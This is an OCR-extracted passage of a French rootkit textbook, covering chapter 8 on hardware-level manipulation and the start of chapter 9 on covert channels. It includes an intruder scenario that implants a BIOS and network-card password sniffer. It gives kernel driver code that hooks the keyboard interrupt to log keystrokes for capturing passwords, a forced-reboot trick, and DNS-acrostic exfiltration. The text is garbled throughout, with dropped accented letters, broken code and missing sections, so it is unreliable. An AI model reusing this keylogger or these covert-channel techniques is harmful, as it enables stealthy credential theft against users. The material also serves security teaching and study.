peut maintenant dissimuler des processus et modifier leurs privilges daccs pour
pouvoir disposer du mme niveau daccs que le processus System. Ces techniques
DKOM sont trs difficiles dtecter et extrmement puissantes. Toutefois, elles
prsentent aussi le risque non ngligeable de faire planter la machine.
DKOM ne se limite pas ce qui a t prsent ici. Ces techniques peuvent aussi tre
appliques la dissimulation de ports rseau en modifiant les tables des ports ouverts
maintenues par Tcpip.sys des fins de comptabilisation, pour ne citer quun exemple.
Pour modifier des objets du noyau et retrouver par rtro-ingnierie o ils sont utiliss,
des outils comme Softlce, WinDbg, IDA Pro et Microsoft Symbol Server sont
inestimables.
8
Manipulations au niveau matriel
Tout au long de votre vie, avancez quotidiennement, devenant plus capable
quhier, plus capable quaujourdhui. Cela na pas de fin.
- Hagakure
Un scnario :
Lintrus se glisse le long du mur vers le chariot que le concierge a laiss au bout du
corridor. Ses yeux avisent un trousseau de cls. Il jette un rapide coup dil au coin.
"Parfait, le concierge est au bout du corridor en train de nettoyer le bureau dun
docteur", pense-t-il. Il soulve dlicatement la chane o pendent les cls et se retire
dans la pnombre du couloir. Aprs avoir tourn au coin du mur, il sarrte devant une
porte. Il essaye douvrir le verrou. Cela ne prend pas longtemps. Une fois la porte
ouverte, il retourne vers le chariot et replace les cls.
Le bureau est sombre lexception dun cran dordinateur au fond de la pice. Aprs
avoir plac l cran et le clavier au sol, il s assied dans le renfoncement du bureau.
Cest un bon endroit, ses agissements ne sont pas visibles du couloir.
Lcran de login est verrouill, mais cela na pas dimportance. Il sort un CD-ROM de
sa veste, linsre dans la machine et redmarre celle-ci. Un message apparat :
"Pressez sur n importe quelle touche pour dmarrer partir du CD... " Il appuie sur
la barre despacement. Le rootkit sur le CD infecte alors le BIOS et modifie galement
la carte Ethernet de lordinateur. Ce nest rien de trs sophistiqu ce stade, juste un
sniffeur de mots de passe. Mais il restera l pendant longtemps, mme
230 Rootkits
aprs que lquipe informatique "si brillante" aura rinstall Windows. "La machine
mappartient", se dit lintrus avec un sourire sur le visage.
Trente minutes plus tard, tout est remis sa place et lordinateur a t frachement
rinitialis, ce que la victime ne remarquera pas. Cest un systme Windows intact,
comme de nombreux autres dans le monde. Il contient une carte mre Intel et une carte
Ethernet 3Com dote dun processeur embarqu. Ce qui rend cet ordinateur si
important est quil rside sur le mme rseau commut quune paire de serveurs Sun
E10K situs au bout du corridor, des serveurs qui grent des centaines de gigaoctets
de donnes de travaux de recherche sur la protine. Les donnes valent des millions de
dollars.
Dans le monde rel, une attaque visant la capture de mots de passe ncessiterait
vraisemblablement des modifications du noyau en mmoire en plus de certaines
manipulations spcifiques au niveau matriel. En modifiant seulement la carte rseau,
il serait dj possible de sniffer des mots de passe (ou le rsultat de leur hachage). Un
rootkit comme celui du scnario peut rester en place pendant longtemps. En imaginant
que lquipe informatique installe une nouvelle version de Windows ou mme un
Service Pack, il devrait pouvoir continuer de fonctionner. En revanche, si le rootkit
avait introduit des modifications du noyau en plus de celles du microcode, elles
seraient alors annules par une nouvelle installation de systme ou de Service Pack.
Appliquer des changements directement au niveau du BIOS et du microcode est une
opration risque et spcifique une plate-forme. Avec une planification soigne, un
tel rootkit serait toutefois difficilement dtectable. Changer le microcode dune carte
Ethernet intelligente requiert nanmoins davoir des informations trs dtailles sur la
carte. Des renseignements de ce type peuvent tre obtenus par voie de rtro-ingnierie,
de documentation ou auprs dune personne connaissant le matriel spcifique. De
telles modifications nont pas besoin dtre effectues sur place, directement sur le lieu
de travail de lutilisateur. Elles peuvent galement tre apportes en interceptant un
matriel lors de son expdition.
Sattaquer un niveau aussi bas semble inutile. Dans de nombreux cas, cela est vrai.
Lors dune attaque visant un ordinateur personnel, le rootkit peut tirer parti dun grand
nombre de programmes et de fonctions dj installs ou actifs sur lordinateur. La
plupart de ces lments peuvent grer eux-mmes les accs matriels ce niveau.
Aussi, lattaquant naura pas besoin de le faire lui-mme et il semble logique dutiliser
ce qui existe dj.
Chapitre 8
Cependant, tous les ordinateurs ne sont pas des ordinateurs personnels comme nous les
connaissons, offrant une telle richesse logicielle. Il y a aussi de nombreux systmes
embarqus qui excutent de petites tches spcifiques. Ils se trouvent partout autour de
nous, font partie de notre quotidien et nous ne les remarquons pas la plupart du temps.
Un tel systme peut se composer de quelques puces seulement et dun programme de
contrle. Il peut disposer dun "micro-cerveau" pour grer les lments importants, tels
quun moteur davancement, pour rguler la tension, la vitesse dun moteur lectrique,
les mouvements dun mcanisme, de petites lumires clignotantes ou des interfaces
vers diffrents types de cblage. Il semble logique quil y ait quelque part un
programme de contrle pour grer tout cela. Gnralement, le logiciel rside quelque
part dans une mmoire sur une puce et est utilis par un processeur central. Du point
de vue dun attaquant, le terme cl est ici processeur. Si un appareil possde un petit
processeur pour le maintenir oprationnel la nuit, il est alors possible dy excuter un
programme. Comme il est contrl par logiciel, il y a la possibilit dy placer un petit
root- kit. Ensuite, lintroduction de modifications dans le microcode pourra ajouter des
fonctionnalits de rootkit.
Dans ce chapitre, nous tudierons les manipulations matrielles et, plus
spcifiquement, les instructions quun attaquant doit lire et crire ce niveau. Nous
couvrirons galement des questions importantes que lattaquant doit considrer pour
que ses actions soient indtectables.
232 Rootkits
Mme deux composants ayant un mme numro de modle peuvent diffrer dans le
dtail de leur mcanisme. Le numro de modle nest quune tiquette commerciale.
Seul le numro de srie peut permettre de dterminer une version de matriel. Comme
son nom lindique, un numro de srie permet de remonter jusqu une srie produite,
des modifications ou des corrections pouvant tre apportes entre deux sries ou lots de
fabrication.
En raison de ces particularits ou spcificits, et selon la complexit de son objectif, un
attaquant se demandera dabord si cela vaut la peine daccder au matriel. Un objectif
simple, tel que la copie dun paquet ou la modification dun bit ici et l, est le mieux
servi par le matriel. Un bon exemple est un module matriel qui attend jusqu ce
quil voie une squence doctets spcifique avant de faire planter le systme. En
revanche, des programmes de backdoor ou des shells utilisateurs complexes devraient
tre crits au moyen dun programme de haut niveau, par exemple dans le mode noyau
ou utilisateur, et ne recourir quavec parcimonie certaines astuces matrielles, si
mme elles taient ncessaires.
Ces rserves tant faites, nous allons approfondir vos connaissances en partant du
principe que nous souhaitons accder au matriel laide dun rootkit. Nous traiterons,
entre autres choses, de la modification du microcode, de la faon dadresser le matriel
et des questions de temporisation. Nous crerons galement un exemple de rootkit
pouvant sinterfacer avec le contrleur de clavier.
Chapitre 8
Un rootkit
ajoute de
nouvelles
fonctionnalits
un microcode
existant.
Le placement dun rootkit dans un microcode demande dcrire directement dans une
puce. Dans le cas dun PC, la dmarche la plus vidente est de modifier le BIOS. Ceci
peut tre ralis laide dun dispositif externe ou dun programme embarqu sur une
carte. Un dispositif externe requiert un accs physique la cible. Lapproche logicielle
ncessite lemploi dun programme de chargement (loader). Cette dernire est la
mthode la plus couramment applique aux PC. Un exploit logiciel ou un cheval de
Troie peut tre utilis pour introduire le programme de chargement, lequel peut ensuite
modifier le microcode.
Si le composant cible est un routeur ou un systme embarqu, un programme de
chargement sera difficile utiliser. De nombreux composants matriels ne sont pas
conus pour excuter des programmes tiers et ne possdent pas de mcanismes pour
dmarrer plusieurs processus. Certains modules disposent parfois dune fonctionnalit
de mise jour permettant le chargement dun nouveau code dans la puce, ce qui peut
alors tre exploit par un rootkit.
Accs au matriel
Le logiciel a t lou pour ses facults de calcul et les services rendus en la matire.
Une autre chose quun programme fait galement trs bien est de dplacer des donnes
dun endroit vers un autre. En fait, cette capacit est parfois mme plus
234 Rootkits
Adresses matrielles
Lchange de donnes avec une puce ncessite lemploi dune adresse. Gnralement,
une telle adresse est connue lavance et est cble, ou grave, dans la puce. Le bus
dadressage se compose de nombreuses liaisons, certaines tant relies diffrentes
puces. Aussi, lorsque vous slectionnez une adresse pour crire des donnes, vous
choisissez en fait une certaine puce.
Une fois slectionne, la puce lit les donnes partir du bus de donnes, et cest elle
qui contrle le matriel en question. La Figure 8.2 illustre ces deux oprations de
slection et de lecture.
Figure 8.2
Le bus d'adressage
slectionne une
puce d'un contrleur
matriel, puis les
donnes sont lues.
La plupart des dispositifs matriels possdent une sorte de puce contrleur exposant un
emplacement de mmoire adressable, parfois appel un port. La lecture et lcriture sur
un port peut ncessiter des codes doprations, ou opcodes, spciaux.
Chapitre 8
Certains processeurs disposent dun jeu dinstructions qui leur est propre et qui doit
tre utilis pour communiquer avec les ports matriels.
Dans larchitecture x86, lchange de donnes avec des ports seffectue au moyen des
instructions IN et OUT, pour respectivement lire et crire. Certaines puces sont aussi
mappes en mmoire et sont alors accessibles laide dinstmctions habituelles
dassignation, telles que MOV sur le x86.
Indpendamment du jeu dinstructions utilis, une adresse est requise. Cest de cette
faon que la carte mre saura vers quel emplacement router les donnes.
Ladressage du matriel peut tre un sujet complexe, et connatre une adresse nest
quune partie du problme. Les sections suivantes abordent les dfis qui peuvent se
prsenter.
Figure 8.3
Le mcanisme de
latching entre deux
registres pour les
oprations de
lecture et
d'criture.
236 Rootkits
De l'importance de la synchronisation
Lorsque vous crivez sur une puce flash, chaque opration dcriture peut ncessiter un
certain temps pour se terminer. Si vous criviez partir dune boucle trs courte, vous
pourriez remarquer, par exemple, que seul un octet sur cinq serait pris dans lopration
dcriture. La raison est quil faut attendre un certain temps pour que lopration
prcdente se termine avant de passer au prochain octet. Gnralement, un contrleur
ou une puce mmoire exige lcoulement dun certain intervalle, aussi court soit-il,
avant daccepter la prochaine instruction, gnralement mesur en microsecondes.
Dans le noyau Windows, vous pouvez utiliser la fonction KeStallExecutionProcessor pour provoquer une lgre "temporisation" du processeur pendant un
certain nombre de millisecondes.
Le bus d'entre/sortie
La puce contrleur dE/S est le cur et lme de la machine. Comprendre son
fonctionnement permet daccder nimporte quel composant matriel dun systme.
Le processeur (ou plusieurs processeurs) partage gnralement un mme bus avec la
mmoire (RAM). Les cartes dextension et les priphriques sont gnralement relis
par un bus distinct, et la seule faon daccder ces autres bus est par lintermdiaire
du contrleur (voir Figure 8.4).
Figure 8.4
Une puce "bridge "
contrle l'accs
un bus secondaire
de priphriques.
| Processeur
| Mmoire principale
-I
Bus du processeur
I Contrleur
; "bridge" ' -----------------
Bus de priphriques
:
|f<:
Chapitre 8
le bus AGP ;
lebusAPIC;
les bus EISA et ISA ;
B
le bus HyperTransport ;
le bus LPC ;
H le bus FSB (Front Side Bus) ;
le bus I2C.
Certains priphriques sur le bus ne peuvent rpondre quaux requtes inities par le
processeur. Dautres peuvent en mettre de faon indpendante. Un priphrique qui
se signale de cette faon est appel V initiateur. Certains priphriques "coutent"
toutes les transactions intervenant sur le bus. Un priphrique se comporte ainsi
lorsquil possde une mmoire cache locale et doit dtecter lorsque le contenu dune
adresse mmoire est modifi. Par exemple, la mmoire principale est frquemment la
cible de requtes, elle ninitie pas de requtes mais coute le bus au cas o un autre
processeur ou priphrique PCI modifie une quelconque zone en cache.
B
238 Rootkits
Southbridge
Bus PCI
Js
Bus ISA ;
-/
il /
I BIOS !
WW
Bus FSB
I Ethernet ! I SCSI
Northbridge
Mmoire principale ;
Figure 8.5
Accs au BIOS
Dans la majorit des cas, un BIOS nest utilis que pour dmarrer un ordinateur. Les
systmes dexploitation modernes font aujourdhui une utilisation limite des
fonctions quun BIOS peut offrir. Aprs lexcution du code damorage et
lidentification des disques durs, le BIOS transfre le contrle au bloc de code situ
sur le disque, ou la partition, de dmarrage. Ce petit programme prend le contrle et
lance le systme dexploitation.
Les puces de BIOS actuelles sont flashables, ce qui signifie quelles peuvent tre
mises jour par voie logicielle. Un virus connu, appel CIH, a t conu pour dtruire
le BIOS sur un ordinateur. Il a t destructeur et coteux pour les personnes qui en ont
t victimes. Au moment de la rdaction de cet ouvrage, aucun rootkit rapport ne
stait encore attaqu au BIOS, mais cest une cible envisageable.
Chapitre 8
1. Cette attaque a t dmontre sur un port Firewire sous certains systmes dexploitation. Au moment de la
prparation de ce livre, certains rsultats de recherches concernant cette approche commenaient tre
publis.
240 Rootkits
En utilisant le DDK, vous disposez de quelques macros pour lire et crire sur un port :
READ_PORT_UCHAR( ... );
WRITE_PORT_UCHAR( ... );
Que pouvons-nous donc faire avec le contrleur de clavier ? La premire ide vidente
est de lire la frappe. Vous pouvez aussi placer des caractres dans le tampon du clavier
ou modifier ltat des LED. Cest ce que nous allons faire. En jouant avec les
indicateurs lumineux du clavier, vous pouvez tout de suite vrifier les rsultats de votre
travail.
L'octet de donnes
utilis
avec
la
commande 0xED.
Le problme avec cette approche est quelle nattend pas que le clavier soit prt
recevoir les commandes. Sil est occup grer dautres tches, elle peut causer des
problmes. Avec le matriel, il faut souvent attendre que le contrleur soit prt. Si vous
tentez denvoyer des donnes alors quil ne lest pas, rien ne se passe gnralement.
Cependant, il peut arriver quune confusion se produise et quun plantage sensuive, ce
qui est plus ennuyeux.
Chapitre 8
Le code suivant illustre une mthode plus conviviale. Notez que toute instruction
DbgPrint est mise en commentaire. Ceci est trs important. Si vous utilisez cette
instruction lintrieur de petites routines ou de gestionnaires dinterruptions, des
problmes peuvent se poser. Vous pouvez tre chanceux et parvenir ce que cette
instruction fonctionne sans encombre, mais vous pouvez aussi risquer de geler le
systme ou provoquer un plantage avec apparition de lcran bleu.
Rootkit.com
L'exemple de driver de clavier peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/basic_hardware.zip.
Notre exemple de driver utilise un temporisateur pour modifier ltat des LED aprs
coulement dun intervalle de quelques millisecondes. Il est dfini en tant que variable
gTimer. Lorsquil expire, un appel de procdure diffr, ou DPC, est planifi. Il est
dfini sous le nom gDPCP. Le DPC est en ralit un appel callback dans la fonction
Time rDPC ( ) que nous dfinissons et contrlons :
PKTIMER gTimer;
PKDPC
gDPCP;
UCHAR
g_key_bits = 0;
// Octets de commande
#define SET_LEDS
#define KEY_RESET
0xED
0xFF
// Rponses du clavier
#define KEY_ACK
0xFA
#define KEY_AGAIN
0xFE
// Accuse rception
// Nouvel envoi
Les constantes symboliques utilises pour dcrire les donnes changes laide des
deux ports du clavier sont STATUS BYTE, COMMAND BYTE et DATA BYTE. Le terme correct
utiliser dpend de lopration voulue (voir Figure 8.7).
Figure 8.7
Les
ports
contrleur
de clavier.
sur
le
242 Rootkits
Il
Il
Il
Il
La fonction WaitForKeyboard excute une boucle pour temporiser, en lisant le port 0x64
jusqu ce que le flag IBUFFER_FULL soit mis 0. Le clavier est alors prt recevoir
des commandes. Comme introduit plus haut, linstruction DbgPrint a t mise en
commentaire pour prvenir toute instabilit. Lemploi de KeStallExe- cutionProcessor
permet de faire temporiser le processeur pendant quelques millisecondes1. Ce
"pitinement" du processeur donne au clavier la possibilit de finir la tche en cours :
ULONG WaitForKeyboard()
{
char _t[255];
int i = 100; // Nombre d'itrations de la boucle
UCHAR mychar;
//DbgPrint("waiting for keyboard to become accessible\n"); do
{
mychar = READ_PORT_UCHAR( KEYB0ARD_P0RT_64 );
KeStallExecutionProcessor(50);
//_snprintf(_t, 253, "WaitForKeyboard::read byte %02X //
from port 0x64\n", mychar);
//DbgPrint(_t);
if(!(mychar & IBUFFER_FULL)) break; // Si le flag est 0,
// le programme se poursuit.
}
while (i--);
if(i) return TRUE; return FALSE;
Chapitre 8
{
char _t[255];
int i = 100; // Nombre d'itrations de la boucle
UCHAR c;
//DbgPrint("draining keyboard buffer\n"); do {
C = READ_PORT_UCHAR(KEYB0ARD_P0RT_64);
KeStallExecutionProcessor(666);
//_snprintf(_t, 253, "DrainOutputBuffer: :read byte //
%02X from port 0x64\n", c);
//DbgPrint(_t);
if(!(c & OBUFFER_FULL)) break; // Si le flag est 0,
// le programme se poursuit.
// Rcupration de l'octet dans le tampon de sortie.
C = READ_PORT_UCHAR(KEYBOARD_PORT_60);
//_snprintf(_t, 253, "DrainOutputBuffer::read byte //
%02X from port 0x60\n", c);
//DbgPrint(_t);
}
while (i--);
>
La fonction SendKeyboardCommand attend dabord que le clavier soit prt, puis vide le
tampon de sortie et envoie une commande sur le port 60. Cest la faon conviviale
denvoyer des commandes vers le contrleur de clavier :
// Ecrit un octet sur le port 0x60.
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
char _t[255];
if(TRUE == WaitForKeyboard())
{
DrainOutputBuffer();
//_snprintf(_t, 253, "SendKeyboardCommand::sending byte //
%02X to port 0x60\n", theCommand);
//DbgPrint(_t);
WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
//DbgPrint("SendKeyboardCommand: :sent\n");
}
else
244 Rootkits
{
//DbgPrint("SendKeyboardCommand: :timeout waiting for
keyboard\n"); return FALSE;
}
I l A faire : attend un ACK ou un RESEND de la part du clavier,
return TRUE;
}
La fonction SetLEDS reoit un octet en argument dont les 3 bits de poids faible
indiquent les LED qui doivent tre actives :
void SetLEDS( UCHAR theLEDS )
{
// Prparation pour l'activation des LEDS if(FALSE ==
SendKeyboardCommand( 0xED ))
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
// Envoie les flags pour les LEDS
if(FALSE == SendKeyboardCommand( theLEDS ))
{
//DbgPrint("SetLEDS::error sending keyboard command\n");
}
}
Nous veillons annuler le temporisateur si le driver est dcharg :
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called\n");
KeCancelTimer( gTimer );
ExFreePool( gTimer );
ExFreePool( gDPCP );
}
La fonction timerDPC est appele chaque fois que le temporisateur expire. Dans cet
exemple, la valeur globale g_key_bits prend successivement toutes les valeurs
possibles pour les trois LED. Ceci cre un motif lumineux intressant :
// Appele priodiquement VOID timerDPC(IN PKDPC
Dpc,
IN PVOID DeferredContext,
IN PVOID sys1,
IN PVOID sys2)
{
//WRITE_PORT_UCHAR( KEYB0ARD_P0RT_64, 0xFE );
SetLEDS( g_key_bits++ ); if(g_key_bits > 0x07) g_key_bits =
0;
Chapitre 8
{
LARGE_INTEGER timeout;
theDriverObject->DriverUnload = OnUnload;
// Ces objets ne doivent pas tre pagins.
gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));
timeout.QuadPart = -10;
KelnitializeTimer( gTimer );
KelnitializeDpc( gDPCP, timerDPC, NULL );
if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))
{
DbgPrintf"Timer was already queued..");
}
return STATUS_SUCCESS;
}
Nous avons tudi plusieurs techniques importantes, dont lemploi de macros pour
accder au matriel, les questions de temporisation, la lecture et lcriture de
commandes avec un contrleur matriel et lemploi dun temporisateur DPC. Nous
allons nous appuyer sur ces premires connaissances pour aborder des manipulations
plus avances du clavier.
1. Le plus petit intervalle de temps pouvant tre planifi est de 10 ms la rsolution du temporisateur ne lui
permet pas de grer une valeur infrieure.
246 Rootkits
Redmarrage forc
Un fait peu connu concernant le contrleur de clavier est quil possde une ligne
directe vers le processeur, et qui plus est directement relie sa broche RESET. Cest
une fonctionnalit puissante puisquelle permet de redmarrer la machine,
immdiatement, sans dtour. Il ny a pas de squence prliminaire de fermeture,
aucune possibilit de rcupration.
Cette fonction est hrite de lpoque o les ordinateurs possdaient un vrai bouton de
rinitialisation. Lemploi de ce bouton tait gr par le contrleur de clavier.
Pour en constater leffet, retirez les marques de commentaires de la ligne dinstruction
envoyant loctet OxFE au port 0x64. Elle provoquera un redmarrage.
Cet exemple est superflu car nous sommes dj au niveau du noyau et pouvons mettre
directement une commande de rinitialisation au processeur ou une directive HALT (ou
tout ce que nous voulons). Lexercice permet toutefois dillustrer les bizarreries quil
est possible deffectuer au niveau matriel.
Intercepteur de frappe
Pour effectuer quelque chose de rellement utile, nous devons commencer sniffer la
frappe. Tous les claviers ne sont pas crs gaux. Aussi, ce code peut ne pas
fonctionner sur tous les systmes. De plus, si vous utilisez VMWare ou VirtualPC pour
tester vos rootkits, le matriel est entirement virtuel et peut produire des rsultats
autres que ceux attendus.
La premire tche raliser est de dterminer linterruption qui est dclenche lors de
la pression dune touche du clavier. Sur ma machine Windows 2000, linterruption est
0x31. Cest toutefois diffrent sur chaque machine. La faon la plus sre de dtecter la
vtre est didentifier celle qui est lie la ligne de requte dinterruption IRQ 1 dans le
contrleur PIC (Programmable Interrupt Controller). LIRQ 1 est celle qui gre le
clavier. Une faon de le faire est danalyser limage de la DLL Hal.dll dans le noyau1.
Les interruptions doivent tre traites sans dlai. La mthode "correcte" pour le faire
est de planifier un appel de procdure diffr pour grer les donnes reues. Le
gestionnaire dinterruption lui-mme devrait seulement planifier le DPC et
1. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal.: eEye Digital
Security,
2005),
disponible
sur
:
www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.
Chapitre 8
0xB3
0x31
// Commandes
#define READ_CONTROLLER
#define WRITE_CONTROLLER
0x20
0x60
// Octets de commandes
#define SET_LEDS
#define KEY_RESET
0xED
0xFF
// Rponses du clavier
#define KEY_ACK 0xFA // Accus de rception
#define KEY_AGAIN 0xFE // Nouvel envoi
// Ports du contrleur 8042
/ / L a lecture sur le port 60 est appele STATUS_BYTE.
// L'criture sur le port 60 est appele COMMAND_BYTE.
// La lecture et l'criture sur le port 64 sont appeles DATA_BYTE. PUCHAR
KEYBOARD_PORT_60 = (PUCHAR)0x60 ;
PUCHAR KEYB0ARD_P0RT_64 = (PUCHAR)0x64 ;
// Bits de registre d'tat
#define IBUFFER_FULL 0x02
#define OBUFFER_FULL 0x01
// Flags pour les LED du clavier
#define SCROLL_LOCK_BIT (0x01 0)
#define NUMLOCK_BIT (0x01 1)
#define CAPS_LOCK_BIT (0x01 2)
248 Rootkits
///////////////////////////////////////////////////
/ / Structures de l'IDT
///////////////////////////////////////////////////
#pragma pack(1 )
{
}
// Appeler WaitForKeyboard avant d'appeler cette function
void DrainOutputBuffer()
{
}
// Ecrit un octet sur le port 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
Chapitre 8
{
IDTINFO idt_info; // Cette structure est obtenue // en
appelant STORE IDT (sidt),
IDTENTRY* idt_entries; // et ce pointeur est obtenu
// de idt_info.
char _t[255];
// Charge idt_info
asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase,
idt_info.HilDTbase);
DbgPrint("ROOTKIT: OnUnload called\n");
DbgPrint("UnHooking Interrupt...");
// Restaure le gestionnaire d'interruption original
_ asm cli
idt_entries[NT_INT_KEYBD].LowOffset =
(unsigned short) old_ISR_pointer; idt_entries[NT_INT_KEYBD].HiOffset =
(unsigned short)((unsigned long) old_ISR_pointer 16);
_ asm sti
DbgPrint ( "UnHooking Interrupt complt.'1);
DbgPrint("Keystroke Buffer is: ");
while(kb_array_pt r--)
{
DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);
{
1. Un membre contributeur sur rootkit.com, Dsei, a indiqu ceci : "Les donnes ne sont pas retires du port
0x60 avant que vous nayez lu les bits dtat sur le port 0x64." 11 a ajout : "Tenter de replacer le scancode dans le tampon semble provoquer un plantage brutal de la machine lorsque vous utilisez une souris
PS/2." Dsei, "Re: A question about the port read", www.rootkit.com.
250 Rootkits
UCHAR c;
//DbgPrintf"stroke");
I l Rcupre le scancode C =
READ_PORT_UCHAR(KEYBOARD_PORT_60);
//DbgPrint("got scancode %02X", c);
if(kb_array_ptr<1024){
keystroke_buffer[kb_array_ptr++]=c;
}
// Replace le scancode (fonctionne sur PS/2)
//WRITE_PORT_UCHAR(KEYB0ARD_P0RT_64, 0xD2); // Commande pour
// l'echo du scancode.
//WaitForKeyboard();
//WRITE_PORT_UCHAR(KEYBOARD_PORT_60, C); // Ecrit le scancode
// pour l'cho.
}
Le hook dinterruption est crit en langage assembleur. Il garantit labsence de
corruption dun registre important et permet dappeler la routine de hook :
// Les fonctions NAKED n'ont pas de code de prologue/pilogue,
// elles s'apparentent fonctionnellement la cible d'une instruction GOTO.
_ declspec(naked) my_interrupt_hook()
_ asm
{
pushad // Sauvegarde
pushfd // Sauvegarde
call print_keystroke
popfd popad
jmp old_ISR_pointer
}
La routine DriverEntry place simplement le hook dinterruption :
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
IDTINFO idt_info; // Cette structure est obtenue // en
appelant STORE IDT (sidt), IDTENTRY* idt_entries; // et
ce pointeur est obtenu
// de idt_info.
IDTENTRY* i; unsigned long
addr;
unsigned long
count;
char _t[255];
theDriverObject->DriverUnload = OnUnload;
Chapitre 8
{
i = &idt_entries[count];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt %d: ISR 0x%08X",
count, addr);
DbgPrint(_t);
}
DbgPrint ( "Hooking I n t e r r u p t ;
// Hook d'une interruption
// Exercice : choisissez votre propre interruption old_ISR_pointer =
MAKELONG( idt_entries[NT_INT_KEYBD].LowOffset,
idt_entries[NT_INT_KEYBD].HiOffset);
// Debug - utilisez ce code si vous voulez obtenir // des
informations supplmentaires sur ce qui se passe.
#if 1
_snprintf(_t, 253, "old address for ISR is 0x%08x",
old_ISR_pointer);
DbgPrint(_t);
_snprintf(_t, 253, "address of my function is 0x%08x", my_interrupt_hook);
DbgPrint(_t);
#endif
// Souvenez-vous, nous dsactivons les interruptions // pendant que
nous patchons la table.
_ asm cli
idt_entries[NT_INT_KEYBD].LowOffset =
(unsigned short)my_interrupt_hook; idt_entries[NT_INT_KEYBD].HiOffset =
(unsigned short)((unsigned long)my_interrupt_hook 16);
_ asm sti
// Debug - utilisez ce code si vous souhaitez contrler
// ce qui est plac maintenant dans le vecteur d'interruption.
#if 1
i = &idt_entries[NT_INT_KEYBD];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);
DbgPrint(_t);
#endif
DbgPrint("Hooking Interrupt complt"); return STATUS_SUCCESS;
252 Rootkits
Il sagissait dun rootkit plus utile, capable de sniffer les touches du clavier. Cest un
point de dpart car linterception de la frappe est une fonctionnalit fondamentale dun
rootkit. Un sniffeur de clavier peut servir capturer des mots de passe et les
communications.
Pour clore ce chapitre, nous aborderons le concept avanc de modification de
microcode.
Chapitre 8
Sil tait utilis par un hacker, il pourrait tre altr dans le BIOS ou appliqu la
vole. Aucun redmarrage nest ncessaire, le nouveau microcode est utilis
immdiatement.
Les processeurs Intel protgent leurs blocs de mise jour au moyen dun chiffrement
puissant. Pour pouvoir modifier "correctement" le bloc, le chiffrement devrait dabord
tre forc. Sur ce point, il est plus facile de travailler avec les puces AMD car elles
nemploient pas de chiffrement. Sous Linux, il existe un driver de mise jour qui peut
charger un nouveau microcode dans le processeur AMD ou Intel. Pour le trouver,
faites une recherche sur Internet avec le critre "AMD K8 microcode update driver" ou
"IA32 microcode driver".
Bien quun grand nombre de personnes tentent de manipuler les mises jour de
microcode par rtro-ingnierie, il faut savoir que la modification dun bloc de mise
jour de microcode peut thoriquement endommager le processeur 1.
Conclusion
Ce chapitre na trait que partiellement le thme de la manipulation matrielle pour en
introduire le concept. Nous esprons quil vous aura toutefois inspir pour faire vos
propres recherches.
Nous avons tudi les instructions de base requises pour lire et crire sur un port
matriel, ainsi que certains piges viter, et avons prsent un exemple de rootkit
permettant dintercepter la frappe au clavier. Il existe des documentations techniques
qui dcrivent les bus en profondeur, et vous devriez vous en procurer un si vous
souhaitez explorer le systme1 2. Nous avons aussi voqu les manipulations possibles
au moyen de modifications du BIOS et des mises jour de microcode. Soulignons
encore une fois au passage quil est possible pour un rootkit dchapper la plupart des
technologies de dtection en sattaquant aux niveaux les plus bas dun systme.
1. Si le processeur inclut des portes de type FPGA pouvant tre reconfigures, une altration de la configuration
physique de ces portes pourrait endommager irrmdiablement le processeur.
2. Consultez, par exemple, les livres de la collection "PC System Architecture Sris", de Don Anderson et de
Tom Shanley (parmi dautres), publis chez Addison-Wesley.
9
Canaux de communication secrets
Nous sommes ce que nous prtendons tre, aussi devons-nous faire attention
ce que nous prtendons tre.
- Mother Night, de Kurt Vonnegut, Jr
256 Rootkits
Chapitre 9
m Traces minimales. Les outils utiliss pour linfiltration distance devraient affecter
le moins possible le systme cible afin de limiter les chances de dtection (une
bonne raison de concevoir un rootkit qui nutilise jamais le systme de fichiers).
De plus, un code qui compte un minimum de lignes est moins complexe et est donc
moins susceptible dchouer.
H
Structure et mthodes uniques. Ces outils devraient possder une structure unique
et implmenter des mthodes uniques. Les solutions de dtection de virus
recherchent toujours ce qui est connu. Lorsquelles sont dveloppes, les virus
connus sont analyss pour obtenir des squences gnrales reconnaissables, et ces
squences sont ensuite appliques pour lidentification de nouveaux virus. Si vous
tlchargez un rootkit sur www.rootkit.com, par exemple, votre scanner de virus
isolera probablement le fichier. Lorsquun rootkit ne contient aucune squence
semblable celles des infections connues, il chappe la dtection.
1. "Back Orifice" est un jeu de mots sur BackOffice, qui est un produit de Microsoft.
258 Rootkits
1. Le protocole TCP implique lutilisation de trois paquets pour tablir une connexion, d'o le terme
ngociation en trois temps, et est dcrit dans de nombreux documents accessibles au public.
2. Ettercap (http://ettercap.sourceforge.net) est un outil conu cet effet.
Chapitre 9
260 Rootkits
Pour reprendre lexemple de DNS, la charge utile des paquets DNS comprendrait de
vritables requtes DNS pour des sites Web lgitimes et, dissimules entre ses lignes,
des commandes distance et des donnes exfiltres. Le problme de cette approche est
quelle ne permet pas de transfrer beaucoup de donnes la fois. Le transfert dune
base de donnes ou dun fichier volumineux prendrait donc du temps, jusqu
plusieurs semaines ou mois selon la conception du canal.
Chapitre 9
Nous pourrions crer une requte DNS pour chaque caractre du message. Chaque
requte concernerait un site Web dont le nom commencerait par une des lettres du
message transmettre. Un tel message est qualifi dacrostiche (voir Figure 9.1).
S
En-tte En-tte
TCP/IP DNS
Requte pour :
sales.google.com
En-tte En-tte
TCP/IP DNS
Requte pour :
estate.google.com
En-tte En-tte
TCP/IP DNS
Requte pour :
cars.google.com
Requte pour :
railway.google.co
m
